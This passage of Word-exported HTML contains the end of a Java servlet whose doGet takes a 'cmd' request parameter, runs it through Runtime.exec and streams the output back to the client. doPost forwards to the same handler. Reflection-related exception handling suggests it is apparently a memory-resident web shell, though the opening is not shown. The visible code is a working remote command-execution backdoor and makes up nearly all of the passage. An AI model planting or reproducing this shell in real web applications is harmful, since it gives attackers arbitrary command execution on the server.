  281. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  282. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  283. mso-font-kerning:1.0000pt;">                        <font face="Calibri">String cmd = request1.getParameter("cmd");</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  284. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  285. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  286. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  287. mso-font-kerning:1.0000pt;">                        <font face="Calibri">InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  288. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  289. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  290. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  291. mso-font-kerning:1.0000pt;">                        <font face="Calibri">BufferedInputStream bis = new BufferedInputStream(is);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  292. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  293. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  294. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  295. mso-font-kerning:1.0000pt;">                        <font face="Calibri">int len;</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  296. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  297. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  298. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  299. mso-font-kerning:1.0000pt;">                        <font face="Calibri">while ((len = bis.read())!=-1){</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  300. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  301. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  302. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  303. mso-font-kerning:1.0000pt;">                            <font face="Calibri">response.getWriter().write(len);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  304. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  305. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  306. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  307. mso-font-kerning:1.0000pt;">                        <font face="Calibri">}</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  308. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  309. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  310. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  311. mso-font-kerning:1.0000pt;">                    <font face="Calibri">}</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  312. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  313. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  314. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  315. mso-font-kerning:1.0000pt;">                <font face="Calibri">}</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  316. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  317. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  318. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  319. mso-font-kerning:1.0000pt;">            <font face="Calibri">}</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  320. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  321. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  322. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  323. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  324. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  325. mso-font-kerning:1.0000pt;">        <font face="Calibri">} catch (NoSuchFieldException e) {</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  326. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  327. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  328. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  329. mso-font-kerning:1.0000pt;">            <font face="Calibri">e.printStackTrace();</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  330. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  331. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  332. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  333. mso-font-kerning:1.0000pt;">        <font face="Calibri">} catch (IllegalAccessException | ClassNotFoundException e) {</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  334. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  335. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  336. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  337. mso-font-kerning:1.0000pt;">            <font face="Calibri">e.printStackTrace();</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  338. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  339. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  340. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  341. mso-font-kerning:1.0000pt;">        <font face="Calibri">} catch (NoSuchMethodException e) {</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  342. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  343. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  344. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  345. mso-font-kerning:1.0000pt;">            <font face="Calibri">e.printStackTrace();</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  346. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  347. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  348. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  349. mso-font-kerning:1.0000pt;">        <font face="Calibri">} catch (InvocationTargetException e) {</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  350. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  351. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  352. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  353. mso-font-kerning:1.0000pt;">            <font face="Calibri">e.printStackTrace();</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  354. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  355. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  356. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  357. mso-font-kerning:1.0000pt;">        <font face="Calibri">}</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  358. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  359. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  360. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  361. mso-font-kerning:1.0000pt;">    <font face="Calibri">}</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  362. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  363. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  364. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  365. mso-font-kerning:1.0000pt;">    <font face="Calibri">@Override</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  366. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  367. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  368. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  369. mso-font-kerning:1.0000pt;">    <font face="Calibri">protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  370. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  371. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  372. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  373. mso-font-kerning:1.0000pt;">        <font face="Calibri">this.doGet(req, resp);</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  374. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  375. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  376. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  377. mso-font-kerning:1.0000pt;">    <font face="Calibri">}</font></span><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  378. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  379. mso-font-kerning:1.0000pt;"></span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  380. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  381. mso-font-kerning:1.0000pt;"> </span></p><p class="MsoNormal"><span style="mso-spacerun:'yes';font-family:宋体;mso-ascii-font-family:Calibri;
  382. mso-hansi-font-family:Calibri;mso-bidi-font-family:'Times New Roman';font-size:10.5000pt;
  383. mso-font-kerning:1.0000pt;"><font face="Calibri">}</font></span></p>
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